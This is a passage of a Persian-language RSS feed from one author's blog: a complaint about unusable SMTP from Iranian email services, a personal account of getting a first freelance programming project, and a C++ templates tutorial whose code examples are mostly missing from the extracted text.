                <description>سلام دوستان، امیدوارم حالتون خوب باشه. خیلی وقته که هیچ پستی ننوشته ام .الان هم واقعا اینقدر اعصابم خورده از دست سرویس های بی کیفیت ایمیل ایرانی که می خوام سرم رو محکم بکوبم به دیوار ...نمی خوام حرفم رو کش بدم. بزارید یه راست برم سر اصل مطلب. سناریو زیر رو در نظر بگیرید:می خواهید از طرف سایتی که برای شرکت ساخته اید برای کاربران تون ایمیل تایید اکانت بفرستید.نمی خواهید به خاطر ریسک تحریم ها و بسته شدن اکانت gmail تون از سرویس smtp ارائه شده توسط gmail استفاده کنید.می خواهید از یکی از سرویس های داخل استفاده کنید.حالا شما از کدوم سرویس استفاده می کنید؟ اصلا تونستید تا حالا حتی یک ایمیل از طریق smtp با این سرویس های آشغال بفرستید؟ من واقعا اعصابم خورده ...تا حالا chmail و mailfa رو امتحان کردم. این آدرس که هیچی جواب نمیده:smtp.mailfa.comحتی اصلا این زیر دامنه وجود نداره.smtp.mailma.comاین هم که نه با پورت 587 و نه با پورت 25 و نه 465 وصل نمیشه ... (من context مربوط به SSL رو هم به کلاینت هم میدم ولی باز هم وصل نمیشه)سرور های chmail هم که به معنای واقعی شوت هستند ... اصلا به ping هم جواب نمیدن چه برسه به کلاینت smtp.تمام راهنمایی های سایتشون برای آدم های عادی هست که می خوان ایمیل هاشون رو در موبایل دریافت کنن ولی من نمی خوام از smtp برای وصل کردن outlook یا دریافت ایمیل هام روی گوشی استفاده کنم. من برنامه نویسم!!!!!!!!!! می فهمید!؟؟؟؟؟؟؟؟؟ تنها کاری که می خوام انجام بدم اینه که کلاینت SMTP پایتون رو وصل کنم به سرورتون و یک ایمیل بفرستم. همین ... کار سختیه براتون؟من الان دارم از gmail استفاده می کنم. ایمیل ها با سرعت بالا و کاملا پایدار ارسال میشن. حتی اگر چند تا ایمیل در بازه زمانی کوتاه بفرستید هیچ کدومشون سر از پوشه spam در نمیاره. وصل شدن به gmail دردسر نداره اما سرویس های ایرانی ... ????????لطفا تجربه تون رو به من هم بگید. راستی اگر تیکه کدی دارید که کار می کنه بفرستید یا لینک بدید و ... چون من واقعا دیگه مغزم رد داده با این سرویس های آشغال ... حتی چند تا document و code example هم ندارن بدبختا ...شما از چه سرویسی استفاده می کنید؟ چون دیگه از نتایج سرچ تکراری که هربار گوگل برام میاره خسته شدم. کمک شما می تونه خیلی موثر باشه.</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Mon, 16 Aug 2021 08:55:08 +0430</pubDate>
            </item>
                    <item>
                <title>خلاصه ای از شروع تا گرفتن اولین پروژه ام به عنوان یک برنامه نویس</title>
                <link>https://virgool.io/Events-IR/summery-of-getting-started-as-a-programmer-to-getting-my-first-project-as-a-freelancer-x2j0x0iqm441</link>
                <description>سلام دوستان، امیدوارم حالتون خوب باشه. در این پست می خوام براتون خلاصه ای از داستان شروع برنامه نویسی ام تا گرفتن اولین پروژه ام رو تعریف کنم. https://virgool.io/@mohammadiashkan1384/%D9%BE%DB%8C%DA%86-%D9%88-%D8%AE%D9%85-%D9%85%D8%B3%DB%8C%D8%B1-%D8%B2%D9%86%D8%AF%DA%AF%DB%8C-%DB%8C%DA%A9-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87-%D9%86%D9%88%DB%8C%D8%B3-%D9%86%D9%88%D8%AC%D9%88%D8%A7%D9%86-qysbf3bmlcoc هنوز هم اون روز های اول رو یادمه. زمانی که با عبارات شرطی، حلقه ها، متغیر ها و انواع داده در پایتون ور میرفتم و برای یادگیری امتحانشون می کردم و از دیدن نتایج کیف می کردم. هیچ وقت از یادگرفتن خسته نمیشدم. برام مهم نبود که ته این راه به کجا ختم میشه. هر روز کد می نوشتم حتی بی هدف. ?مثل اکثر برنامه نویس ها، بالاخره با توسعه وب آشنا شدم و html و css و js (من بهش میگم مثلث افسانه ای وب ?) رو یاد گرفتم ولی برای بک-اند (back-end) کمی طول کشید که به صراط مستقیم هدایت بشم. اوایل فکر می کردم فقط php برای back-end مناسبه و یادش گرفتم (البته الان از این کارم پشیمون نیستم) بعد ها فهمیدم که پایتون هم فریمورک هایی برای نوشتن کد های back-end داره مثل flask و django.بعد از تست کردن flask و django تصمیم گرفتم که برم سراغ django دلیلش هم خیلی ساده بود: django نسبت به flask امکانات بیشتری داره ?. درمورد من، این دقیقا همون چیزی هست که می خواستم ولی شاید شما انعطاف پذیری بیشتری بخواهید و flask رو ترجیح بدید. از اپلیکیشن های کوچیک وب شروع کردم و مهارت هایم رو رفته رفته بهتر کردم. می خواستم تا جایی که می تونم بیشتر یاد بگیرم به خاطر همین دیگه کم کم کارم بالاگرفت و جدی شد.به خیال خودم فکر می کردم حالا دیگه آماده این هستم که به عنوان یک freelancer کار کنم و پروژه بگیرم پس در سایت پونیشا عضو شدم ?. بعد که پروژه های واقعی رو دیدم امیدم در چند ثانیه به صفر رسید، اصلا بهتره بگم رفت 50 واحد زیر صفر ?.اون لحظه فهمیدم که هرچیزی که تا به الان یاد گرفتم در حکم بستن بار سفر برای آغاز یک راه طولانی بوده و من حتی یک قدم هم از مبدا به سمت مقصدم حرکت نکرده ام. از اون به بعد به خودم خیلی سخت گرفتم تا چیز های بیشتری یاد بگیرمتیکه انداختن های پدرم عامل اصلی پیشرفت من شدصبح و شبم شده بود نشستن جلوی کامپیوتر و scroll کردن صفحات وب. لیست &quot;تماشا در فرصتی دیگر&quot; اکانت یوتیوبم پر شده بود از کلی آموزش که از سراسر یوتیوب پیدا کرده بودم. مصرف اینترنتم هم دوبرابر قبل شده بود. به خاطر همین پدرم هر وقت از کنارم رد میشد بهم تیکه مینداخت که &quot;اشکان تو از صبح تا شب میشینی و دکمه های کیبورد رو الکی فشار میدی که چی بشه؟ تازه هرچی می نویسی رو هم هزار بار پاک می کنی و از اول می نویسی ...&quot; با اینکه به ظاهر چیزی نشون نمیدادم اما خیلی این حرف ها بهم بر می خورد. من داشتم کلی تلاش میکردم و علم آموزی میکردم اونوقت پدرم این کار من رو فشار دادن بی هدف دکمه های کیبورد می دونست. خدایی خیلی سخت بود ? ولی باعث نشد از فشردن دکمه های کیبورد دست بردارم.و بالاخره اولین پروژهبعد از یک سال کامل یادگیری، تصمیم گرفتم ترسم رو از گرفتن پروژه کنار بزارم و دنبال مشتری بگردم. قرار شد دوستم امیررضا برام مشتری پیدا کنه و من کار رو انجام بدم اما اکثر مشتری ها وبسایت مفت می خواستن و اهل معامله نبودند به خاطر همین هرچقدر سگ دو زدیم نشد که نشد ...یه روز دوباره یاد پونیشا افتادم و تصمیم گرفتم به میدون (سایت پونیشا) برگردم. خواستم یک بار دیگه شانسم رو در پونیشا امتحان کنم. ;O)برعکس دفعه پیش، این بار تونستم چند پروژه پیدا کنم که در توانم بود. باید اعتراف کنم که به طور بسیار بسیار شانسی اولین پروژه ام رو گرفتم. نمی دونم چطور بین چند برنامه نویس دیگه، پیشنهاد من تازه وارد انتخاب شد اما به هر صورت اولین پروژه ام رو گرفتم و کارم افتاد رو غلتک ✌.هنگام انجام پروژه چندبار بدجور به مشکل خوردم. پروژه یک وبسایت فروشگاهی بود، مشکل این بود که کالا های فروشگاه از سه واحد ارز استفاده می کردند و به خاطر interactivity زیادی که کاربر با برنامه داشت و نیز نداشتن یک فریمورک درست و حسابی برای کد های جاوا اسکریپت همه چیز خر تو خر شده بود.خلاصه اینکه من هر کاری کردم نتونستم این بخش رو درستش کنم. کسی رو هم نمیشناختم که در حدی باشه که بتونه به من کمک کنه. می دونستم که کسی که باید این مشکل رو حل کنه فقط من هستم و مسئولیتش هم فقط با خود من هست. اینجا بود که آرزو می کردم ای کاش یه تیم داشتم که افرادش حرفه ای تر از خودم بودن. اینطوری حداقل خیالم راحت بود که اگه من نتونم یکی دیگه می تونه انجامش بده. اما واقعیت همیشه تلخ است و اکثر مواقع فقط باید باهاش کنار اومد ... ?بعد از هشت ساعت کارکردن مداوم، دیگه اصلا مغزم نمی کشید. می دونستم ادامه دادن کار در این شرایط فقط وقت تلف کردنه. تصمیم گرفتم بهش فکر نکنم و کمی از کار فاصله بگیرم و بعدا بیام سراغش. رفتم کمی روی کاغذ بنویسم تا ذهنم آروم تر بشه. بعدش که تنش ذهنی ام فروکش کرد برگشتم سراغ کامپیوترم و در اولین نگاه به کد هام فهمیدم کجای کار رو گند زده ام. فهمیدم که اصلا مشکل رو اشتباه متوجه شده ام و اینکه  مشکل اونقدر هم که من فکر می کردم پیچیده نیست و راهکار ساده تری برای انجامش وجود داره. ?خوشبختانه داشتم از git استفاده می کردم و سریع تونستم کد های به درد نخوری که نوشته بودم رو revert کنم و از اول بنویسم (خدا هرکسی که git رو ساخته خیرش بده). حدود دو ساعت این بخش از پروژه رو هم انجام دادم. ?بعد از اینکه همه بخش های پروژه تکمیل شد، همه رو به کارفرما ارسال کردم. بعد از انجام تست توسط کارفرما و رفع یه سری ایرادات جزئی توسط من، بالاخره پروژه به اتمام رسید و کار تحویل داده شد. خداراشکر مشتری هم از کار کاملا راضی بود.از اون موقع به بعد هم فعلا دارم کارم رو به عنوان یک فریلنسر تازه وارد بی تجربه ادامه میدم و از اشتباهاتی که در پروژه های مختلف مرتکب میشم درس میگیرم و هر بار بهتر از گذشته ادامه میدم.خلاصه اینکه اگر شما هم می خواهید پروژه تون رو بگیرید، ترس از انجام نشدن پروژه رو باید کنار بزارید چون برای یک برنامه نویس همیشه چالش هایی حتی در پروژه های آسون وجود داره. به پایان این پست رسیدیم. امیدوارم در زندگی تون موفق باشید. فعلا تا پست بعدی خدانگهدار ??</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Fri, 09 Jul 2021 10:45:28 +0430</pubDate>
            </item>
                    <item>
                <title>همه آن چیزی که باید راجع به template های C++ بدانید</title>
                <link>https://virgool.io/@mohammadiashkan1384/the-ultimate-guide-to-cpp-templates-whfqvispapgu</link>
                <description>زبان C++ یک زبان همه منظوره و بسیار سریع هست و خیلی امکانات جالبی داره. یکی از این ویژگی ها template ها هستند. اگر قبلا با زبان های static typed مثل java و #C کار کرده باشید، حتما با مفهوم Generic ها آشنا هستید و می دونید که به چه منظور استفاده میشن.در C++ هم template ها مفهومی شبیه به generic ها دارند اما تفاوت های اساسی بین اینها وجود داره که در ادامه به آنها اشاره خواهیم کرد.استفاده template ها در توابعفرض کنید که تابعی داریم که قراره دو تا عدد رو با هم جمع کنه. از اونجایی که C++ سیستم static typed دارد، برای هر نوع خاصی از عدد باید یک overload از روی تابع اصلی ایجاد کنیم:اگر به تابع بالا نگاهی بیندازیم، الگوی زیر رو مشاهده می کنیم:خوب اگر تنها چیزی که قراره تغییر کنه نوع مقادیر ورودی و مقدار خروجی هست، چرا نتونیم این دو تابع رو یکی کنیم؟ درست حدس زدید. template ها بهمون دقیقا همین قابلیت رو میدهند. حالا اگر تابع add رو به روش زیر بازنویسی کنیم، می تونیم هر نوع عددی رو دریافت، جمع و به عنوان نتیجه برگردونیم:اگر با Macro ها در C++ آشنا باشید، می دونید که از macro ها برای جایگذاری متن هنگام کامپایل استفاده میشه. template ها خیلی به macro ها شبیه هستند. template ها یه سری آرگومان میگیرند که بهشون میگن template arguments و بر اساس اون آرگومان ها یک تابع جدید، یک Struct جدید یا یک class جدید در زمان کامپایل ایجاد می کنند.فراخوانی template function هادر مثال بالا، اگر بخواهید تابع add را در جایی از کد هاتون فراخوانی کنید باید به این شکل این کار رو انجام بدید:add&lt;int&gt;(10, 20);پارامتر int که بین &lt;&gt; قرار داره، مشخص می کنه که تابع در ادامه چه نوع داده ای رو قبول می کنه. البته در C++17 ویژگی به نام implicit template argument deduction اضافه شده که بر اساس اون، درصورتی که نوع template argument ها از روی پارامتر های داده شده به تابع قابل تشخیص باشه، دیگه نیازی به مشخص کردن صریح template argument ها بین &lt;&gt; نیست. مثلا در C++17 می تونید تابع add رو مثل هر تابع معمولی دیگه ای فراخوانی کنید و کامپایلر C++ خودش تشخیص میده که نوع داده استفاده شده چی هست:add(10, 20);استفاده از template ها در کلاس ها و struct هاهمچنین می تونید از template ها در کلاس ها به این صورت استفاده کنیدتنها نکته ای که می خوام در کد بالا بهش اشاره کنم عبارت های using هستش. اگر قبلا با زبان C کار کرده باشید حتما می دونید typedef چی هست. عبارت های using بالا هم دقیقا کار typedef رو انجام میدن.مثلا اگر بنویسیم:using Number_Type = int;و بعد متغیری از نوع Number_Type تعریف کنیم، دقیقا مثل این هست که یک int تعریف کرده باشیم:Number_Type n1 = 45;
int n1 = 45;
// Both are equivalentعبارت هایی که با کلیدواژه using ساخته میشن، در موقعیت های مختلف استفاده های مختلفی دارند:استفاده از member های یک namespace دیگر در scope برنامهاستفاده از متد های کلاس والد در فرزندساخت type alias که بهش اشاره کردیم.من قرار نیست راجع به این ها در این مقاله توضیح بدم چون از موضوع بحث ما خارجه. اما اگر می خواهید راجع به اونها بدونید می تونید به این مقاله مراجعه کنیداستفاده در struct هاخوب در struct ها هم روند کار دقیقا به همین صورت هست:می توانید داده های literal به عنوان آرگومان به template ها بدهیدشاید فکر کنید که template ها فقط قادر به گرفتن نوع داده به عنوان آرگومان هستند. ولی کاملا در اشتباه هستید. چون شما می تونید از constant ها و literal ها نیز به عنوان آرگومان استفاده کنید. بزارید بهتون با یک مثال ساده نشون بدم:همونطور که میبینید، آرگومان size از نوع int هست. حالا میتونید به این شکل از روی DataContainer یک obj ایجاد کنید:می تونید یک literal یا یک constant به عنوان size به template بدید ولی استفاده از یک متغیر مجاز نیست. چون مقدار size باید در زمان کامپایل مشخص و در زمان اجرا ثابت باشه که متغیر ها همچین ضمانتی ندارند.می توانید با template ها metaprogramming انجام بدهیدبا template ها میشه الگوریتمی نوشت که در زمان کامپایل اجرا بشه و اینطوری کمی از بار پردازش زمان اجرا میشه کم کرد.حالا برای محاسبه فاکتوریل عدد 5 میشه همچین چیزی نوشت:unsigned int result = factorial&lt;5&gt;::valueمبحث metaprogramming مقوله خیلی گسترده ای هست. برای اطلاعات بیشتر می تونید به این لینک مراجعه کنید.ویژه سازی template ها یا template specializationشما می تونید رفتار خاصی برای نوع خاصی از داده ها در نظر بگیرید. مثلا فرض کنید که تابعی به نام sort داریم. اگر ورودی تابع عدد باشه، اعداد رو باید از کوچیک به بزرگ مرتب کنه. اگر ورودی string باشه، باید به ترتیب حروف الفبا مرتبش کنه. اگر ورودی یک تاریخ باشه، باید اون رو بر اساس روز، ماه و سال مرتب کنه:اگر توجه کرده باشید، در مثالی که کمی قبل تر برای محاسبه factorial زدیم، از template specialization نیز استفاده کردیم که زمانی که مقدار آرگومان 0 بود، value برابر 1 باشه و دیگه در یک حلقه بی نهایت نیوفتیم. اگر می خواهید راجع به این مبحث بیشتر بدونید، می تونید به این لینک مراجعه کنید.تمپلیت های variadicتا به حال از خودتون پرسیده اید که چطور توابعی مانند printf می تونن تعداد بی نهایت آرگومان به عنوان ورودی دریافت کنند؟ template ها به شما این اجازه رو میدن که به تعداد بی نهایت template argument دریافت کنید:برای گرفتن بقیه آرگومان ها باید از این syntax استفاده کنید:template &lt;typename FirstParameter, typename... RestOfParameters&gt;
FirstParameter function_name(FirstParameter first_value, RestOfParameters... rest_values);حالا شاید بپرسید که چرا FirstParameter رو بر نمیداریم تا کلا از RestOfParameters استفاده کنیم؟ دلیلش اینه که C++ به ما اجازه نمیده به type های داخل RestOfParameters دسترسی داشته باشیم. به خاطر همین مجبوریم، اونها رو یکی یکی از طریق FirstParameter دریافت کنیم و یکی یکی پردازش کنیم. اما چطور همچین اتفاقی می افته؟به مثالی که در بالا زده ام توجه کنید. تابع Add رو می تونید با هر تعداد عدد دلخواه فراخوانی کنید و جمع همه اعداد رو تحویل بگیرید. نحوه فراخوانی به صورت زیر است:Add &lt;int, int, int&gt; (10, 20, 30);هر چقدر تایپ های بیشتری رو مشخص کنید، می تونید عدد های بیشتری پاس بدید. البته در C++17 دیگه لازم نیست همچین کاری بکنید، به لطف implicit template argument deduction می تونید بدون مشخص کردن تایپ ها هر چقدر دلتون خواست عدد بدید:Add (10, 20, 30);وقتی شما تابع رو فراخوانی می کنید، همچین چیزی اتفاق می افته:Add (10, 20, 30);
// First  [int] -&gt; first template argument
// f = 10 [int] -&gt; first function argument
// Rest [int, int] -&gt; rest of template arguments
// args = 20 [int], 30 [int] -&gt; rest of function argumentsاگر توجه کنید، از همه آرگومان هایی که به تابع داده شده، یکی از اونها در یک متغیر جدا قرار گرفته. از اونجایی که ما داریم از recursive call استفاده می کنیم، این رویه همینطور ادامه پیدا میکنه. و هر بار یکی از از Rest و یکی از args جدا میشن و در به ترتیب در First و f قرار میگیرن. به طوری که First نوع f رو مشخص می کنه و خود f هم مقدار رو ذخیره می کنه:Add(10, 20, 30, 40) = 10 + Add(20, 30, 40) = 10 + 20 + Add(30, 40) = ... = 10 + 20 + 30 + 40 خیلی چیز ها راجع به variadic template ها وجود داره. اگر می خواهید بیشتر راجع بهشون بدونید، حتما به این لینک مراجعه کنید.تمپلیت ها واقعی نیستند!در مثال اول، وقتی شما تابع add رو به صورت یک template تعریف میکنید، درواقع هیچ تابعی تعریف نمیشه! پس چی میشه؟ هیچی نمیشه! :-|) البته تا زمانی که به کامپایلر بگید از روی template (یا قالب) ای که بهش دادید، یک نسخه از تابع add رو بسازه. به طور کلی دو راه برای این کار وجود داره:وقتی که شما از template ای که تعریف کردید، در همون  translation unit (منظور همون فایل .cpp و header هاشه که template رو در اون تعریف کردید | همون فایلی که قراره به object file تبدیل بشه) استفاده کنید. اینطوری به صورت غیر مستقیم به کامپایلر می فهمونید که در زمان کامپایل یک نسخه از روی template ایجاد کنه.از روش explicit template instantiation استفاده کنید. یعنی بدون اینکه در جایی از کد استفاده کنید، مستقیما و صریح به کامپایلر بگید باید یک نسخه از template شما رو ایجاد کنه. این روش زمانی به درد می خوره که می خواهید از  template هاتون در translation unit های مختلف استفاده کنید. در ادامه در این باره بیشتر بحث خواهیم کرددر روش اول شما به آسونی در جایی از کد، تابع خود را فراخوانی می کنید و کامپایلر overload های مختلفی از تابع مورد نظر رو ایجاد می کنه:ولی در روش دوم باید به شکل زیر به کامپایلر مستقیما اعلام کنید که باید نسخه های مورد نیاز از روی add ایجاد بشه. اینکه این روش به چه دردی می خوره و چرا باید از همچین چیزی استفاده کنیم در بخش بعدی مطلب ذکر شده پس فعلا زیاد فکر خودتون رو درگیرش نکنید:و برای کلاس ها اینطور باید عمل کنیم:استفاده از template ها در translation unit های مختلفدر C++ به هر فایلcpp که قراره تبدیل به یک object file بشه میگن translation unit. اگر یادتون باشه، گفته شد که template ها واقعی نیستند. پس اگر بدون استفاده از اونها فایل هامون رو compile کنیم، یعنی مثلا یک فایل lib برای استفاده در دیگر پروژه هامون بسازیم، با یک مشکل بزرگ مواجه میشیم. چون کد های پیاده سازی template ها در فایل lib موجود نخواهد بود و در صورتی که بخواهید در دیگر پروژه ها ازش استفاده کنید، به ارور unresolved external symbol برخواهید خورد.اگر دلتون می خواد از template هاتون در پروژه های دیگه استفاده کنید، چند راه حل براش وجود داره:نوشتن کد declaration و definition ها، با هم در یک فایل header.نوشتن definition ها در یک فایل cpp و include کردن اون فایل در انتهای فایل headerاستفاده از explicit template instantiationروش اول:ساده ترین کار، همینه که هم کد های declaration و هم پیاده سازی رو در یک فایل header انجام بدید. با این روش می تونید کتابخانه های header-only بسازید. معمولا کتابخانه هایی که template ارائه میدن از این روش استفاده می کنند:some_header.hpp fileروش دوم:می تونید definition ها و declration ها رو در دو فایل جدا بنویسید ولی definition ها رو در انتهای فایل هدر include کنید:header.hppimpl.cppروش سوم:بعضی وقت ها فقط به یه سری نسخه های مشخصی از template هاتون نیاز دارید. در این موارد می تونید. از explicit template instantiation استفاده کنید:و این هم فایل پیاده سازی:حالا این روش به چه دردی می خوره؟ فرض کنید که شما می خواهید یک فایل .obj از روی همین فایل خروجی بگیرید و اون رو همراه با یه سری object file های دیگه به به لینکر بدید تا لینک کنه و خروجی تحویل بده اما مسئله اینجاست که قرار نیست از کد هایی که در این obj فایل نوشته شده به صورت مستقیم استفاده بشه بلکه قراره این کد ها به صورت غیر مستقیم و از طریق دیگر object file ها استفاده بشن، در اون صورت شما در حالت عادی به پیاده سازی های template هاتون دسترسی نخواهید داشت چرا که template هایی که استفاده نشده باشند اصلا در زمان کامپایل سورس در object file حاصل قرار نخواهند گرفت. اگر تلاش کنید که بدون instantiation از template هایی که در یک translation unit دیگه تعریف شده اند در کدتون استفاده کنید، به ارور unresolved external symbol بر خواهید خورد.معمولا این نوع روش در سناریو های زیر استفاده میشه:پیاده سازی های template ها در فایل های جدایی هستند که بعدا قراره ازشون خروجی lib. بگیرید و ازشون در پروژه های دیگه استفاده کنید.ایجاد template ها در زمان کامپایل پروژه اصلی به صرفه نیست و از طرفی شما فقط به چند نسخه خاص از template تون نیاز دارید و برای بهینه سازی تایم کامپایل پروژه اصلی، کل نسخه هایی که از قبل نیاز دارید رو می خواهید یک بار برای همیشه کامپایل کنید و فقط از همون نسخه های کامپایل شده استفاده کنید. اینطوری هر بار نیاز به آپلود نیست.خیلی خوب دوستان، به پایان این پست رسیدیم. امیدوارم براتون مفید بوده باشه. تا دفعه پست بعدی خداحافظ!</description>
                <category>اشکان محمدی</category>
                <author>اشکان محمدی</author>
                <pubDate>Sat, 03 Jul 2021 17:35:39 +0430</pubDate>
            </item>
            </channel>
</rss>